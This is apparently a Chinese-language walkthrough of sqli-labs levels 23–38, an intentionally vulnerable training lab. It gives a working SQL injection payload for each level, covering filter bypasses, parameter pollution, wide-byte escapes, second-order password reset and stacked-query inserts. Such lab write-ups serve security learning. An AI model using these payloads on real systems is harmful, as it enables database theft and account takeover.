sqli-labs(23-38)Adv Injections过关手册

1.Less-23
输入id=1,正常回显
输入id=1',出现报错信息,根据报错信息,可以判断为单引号闭合
输入id=1' and 1=1%23,出现报错信息,怀疑%23没有生效,被过滤了。
查看源码,发现#,--都被过滤为空了

image.png

换个思路,不用注释后面的 ' limit 0,1进行注入
先闭合id后面的单引号,
构造Payload为:
id=0' union select 1,database(),'3
成功注出数据库名
image.png

爆表名和字段名就不演示了,和联合查询一样的手法
如下爆表名:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security
image.png

2.Less-24
二次注入,数据写入数据库的时候会被转义,但从数据库中取出来时又被还原了,此时被造成了二次注入;
查看源码,和网站,大致注入流程为,注册账号,然后修改密码造成注入

image.png

与数据库有交互的3个文件为
login_create.php、login.php、pass_change.php
login_create.php为注册用户文件
image.png

三个参数都被mysql_escape_string()转义了,但注释符没有!!!
再看login.php文件,为登录文件
image.png

登录的用户名和密码都被转义了。
最后再看pass_change.php为密码修改文件
image.png

发现curr_pass'这部分SQL语句注释掉,造成修改账户密码时不需要原先账户的密码。
而此时账户可以进行注册,如果注册用户名的格式为已存在的用户名+注释符,则可以造成任意账户重置。
比如此时修改Dummy账户密码123为321
注册一个新账户
用户名为:Dummy' -- k 密码为:111
然后登录
image.png

进行密码修改,然后登录尝试

image.png

image.png

回到Less-23,id=3查看Dummy密码,已经改为321了


image.png

3.Less-25
输入id=1,正常回显
id=1',错误提示,最下面有个过滤提示
id=1' and 1=1%23,错误回显,查看提示没有and,尝试双写饶过
id=1' aandnd 1=1%23,回显正常


image.png

经测试or也被过滤了,双写绕过
报错注入:
payload:
id=0' oorr updatexml(1,concat(0x7e,(select database()),0x7e),1)%23


image.png

4.Less-25a
和Less-25一样,双写绕过,只不过比用闭合单引号,并且报错信息被注释了,不能用报错注入,改用联合注入
payload:
id=0 union select 1,database(),3%23


image.png

5.Less-26
直接看源码吧,过滤挺多东西,比较重要的注释符过滤了,空格过滤了


image.png

但是可以用闭合前后的单引号进行饶过注释符,在使用%0b代替空格
payload:
id=0'%0bunion%0bselect%0b1,updatexml(1,concat(0x7e,(select%0bdatabase()),0x7e),1),'3


image.png

不知道为什么%0a,%0c,%0d,%00不行,有大佬知道解释下吗?

6.Less-26a
和Less-26一样,不过闭合条件变成'),并且源码注释了报错信息。但可以使用联合查询注入
payload:
id=0')%0bunion%0bselect%0b1,database(),('3

image.png

7.Less-27
和前面几题类型一样,在黑名单过滤函数上做文章,查看过滤信息


image.png

构造payload:
id=0'%0buniOn%0bsELEct%0b1,updatexml(1,concat(0x7e,(sELEct%0bdatabase()),0x7e),1),'3


image.png

8.Less-27a
和前面的套路一样,改变闭合条件和注释报错信息,改用联合查询
payload:
id=0"%0buniOn%0bsELEct%0b1,database(),"3

image.png

9.Less-28
还是直接看源码吧,报错注入被注释了,不能用updatexml(),并且$id被('')包裹着,需要前后闭合。
再看过滤函数


image.png

注释符没了,内联注入也不能用,空格和+也被过滤,但空格可以用十六进制的换行符,换页符,回车符,制表符代替。
最后 union select连在一起被过滤了,那岂不是分开就可以了?
对的,把它两分开,payload:
id=0')%0aunion%0aunion%0aselect%0aselect%0a1,database(),('3

image.png

10.Less-28a
和Less-28类似,不过少了很多过滤措施
payload:
id=0') union union select select 1,database(),3%23


image.png

11.Less-29
从题目可以看出,应该是过WAF,查看源文件


image.png

有三个文件,第一hacked.php没什么用,过WAF失败图片。
在index.php中,没有过滤,只要闭合闭合单引号就可以注入了。
payload:
id=0' union select 1,database(),3%23


image.png

但在login.php中,有个白名单过滤,只允许数字通过


image.png

否则跳转到hacked.php

再看其他代码


image.png

获取GET的key和value
并以&分割参数放入数组中,然后再使用substr去除id,再返回value值;这里很重要,如果我传入两个id,第一个id=1,第二个id=payload,那么第一个id为数字,能让白名单检测为真,再拼接第二个id,以此来达到绕过白名单的检测,也就是参数污染。
构造payload:
id=1&id=' union select 1,database(),3%23

image.png

成功注入

12.Less-30
还是直接源码分析,和Less-29三个相同文件。
没有的hacked.php
没过滤的index.php
以及白名单过滤的login.php
先看index.php


image.png

直接双引号闭合注入,没得说

查看login.php文件


image.png

过滤规则和上一题一样,但经过白名单检测后,使用双引号包裹了$id
则使用同样的姿势,只不过第二个参数的单引号换成双引号
payload:
id=1&id=" union select 1,database(),3%23

image.png

13.Less-31
过滤套路和29,30一样,更换了闭合条件,加了双引号和括号
构造payload:
id=1&id=") union select 1,database(),3%23


image.png

14.Less-32

查看源码,发现,',"都被转义,考虑宽字节注入,也就是利用把转义后的\吃掉,让',"逃逸出来。理论上%81-%FE都可以吃掉%5c,也就是\,变成一个汉字。
构造Payload:
id=0%bb' union select 1,database(),3%23

image.png

15.Less-33
和Less-32一样,只不过转义函数变为php内置函数addslashes()
payload:
id=0%bb' union select 1,database(),3%23

image.png

16.Less-34
过滤规则也是addslashes()添加反斜杠,只不过改为POST方式,直接BP抓包修改。
payload:
uname=0%ed%27 union select 1,group_concat(username) from users%23&passwd=0

image.png
image.png

17.Less-35
添加了转义函数,但sql语句中$id没有被单引号或者双引号包裹,所以直接注入。
payload:
id=0 union select 1,database(),3%23


image.png

18.Less-36
添加了转义函数,但sql语句中$id被单引号,并设置了字符类型为gbk,宽字节注入
payload:
id=0%bb' union select 1,database(),3%23


image.png

19.Less-37
POST提交表单,使用mysql_real_escape_string()转义,单引号包裹SQL参数,使用burpsuite修改POST数据包。
payload:
uname=0%bb' union select 1,2%23&passwd=1


image.png

20.Less-38
这关的考察点在堆叠注入叫做stacked injection,即多条SQL语句一起执行,每条语句使用;结束。
payload:
插入一条用户信息:
id=0';insert into users(id,username,password) values(18,'less38','less38')%23

查看插入结果:
id=0' union select 1,2,group_concat(username) from users%23

image.png

你可能感兴趣的:(sqli-labs(23-38)Adv Injections过关手册)